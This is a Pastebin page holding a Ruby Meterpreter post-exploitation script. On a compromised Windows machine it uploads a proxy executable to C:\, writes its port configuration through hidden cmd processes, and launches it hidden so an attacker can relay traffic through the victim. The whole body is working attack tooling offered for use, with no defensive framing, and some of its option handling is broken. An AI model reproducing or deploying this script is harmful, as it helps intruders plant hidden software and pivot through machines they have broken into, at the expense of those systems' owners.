Advertisement
Guest User

Untitled

a guest
Aug 11th, 2017
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rails 2.47 KB | None | 0 0
  1. ##########################################################
  2. # Meterpreter Proxy Script by zerocold.co.uk #
  3. #Created By: Michael Johnson Email: mjog123@hotmail.com  #
  4. ##########################################################
  5. session = client
  6. host,port = session.tunnel_peer.split(':')
  7. #Files to upload to target host
  8. file = File.join(Msf::Config.install_root, "data", "proxy.exe")
  9. #Menu-Options
  10. @@exec_opts = Rex::Parser::Arguments.new(
  11.  
  12.                "-l" => [ true,   "Port To Listen On."]
  13.                # Adding Soon Authentication
  14.                #"-u" =>  [ true,   "Username."],
  15.                #"-p" =>  [ true,   "Password."]
  16.  
  17. )
  18. def usage
  19.     print_line("    Meterpreter Proxy Script ZeroCold.co.uk")
  20.     print_line("Michael Johnson  (Zero Cold)  mjog123@hotmail.com")
  21.     print_line("#################################################")
  22.     print_line
  23.     print_line("Usage: proxy  -u  -p   -l  ")
  24.     print(@@exec_opts.usage)
  25.     raise Rex::Script::Completed
  26. end
  27.  
  28.   def upload(session,file)
  29.     location = session.fs.file.expand_path("C:\\")
  30.     fileontrgt = "#{location}\\proxy.exe"
  31.     print_status("Uploading Self Extracting Archive ...")
  32.     session.fs.file.upload_file("#{fileontrgt}","#{file}")
  33.     print_status("Upload Complete ...")
  34.     return fileontrgt
  35.  end
  36.  
  37.   def writefile(session,port)
  38.     location = session.fs.file.expand_path("C:\\")
  39.     print_status("Creating Command Local File")
  40.     session.sys.process.execute("cmd /c echo [Connection] > #{location}\lps.ini" , nil,{'Hidden' => true,'Channelized' => true})
  41.     session.sys.process.execute("cmd /c echo: >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
  42.     session.sys.process.execute("cmd /c echo port= #{port} >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
  43.     print_status("Local File Created ")
  44.  
  45.   end
  46. #Only Local Access, When i have the Time il work on remote
  47.   def excute(session,port)
  48.     location = session.fs.file.expand_path("C:\\")
  49.     print_status("Executing Proxy Server")
  50.     session.sys.process.execute("cmd /c  #{location}\\proxy.exe" , nil,{'Hidden' => true,'Channelized' => false})
  51.     print_status("Proxy Started On Port #{port}")
  52.  
  53. end  
  54.  
  55. @@exec_opts.parse(args) { |opt, idx, val|
  56.     case opt
  57.  
  58.         when "-l"
  59.                  port = val
  60.         when "-u"
  61.                  user = val
  62.         when "-p"
  63.                  pass = val
  64.  
  65.         end
  66.  
  67. }
  68.  
  69. upload(session,file)
  70. writefile(session,port)
  71. excute(session,port)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement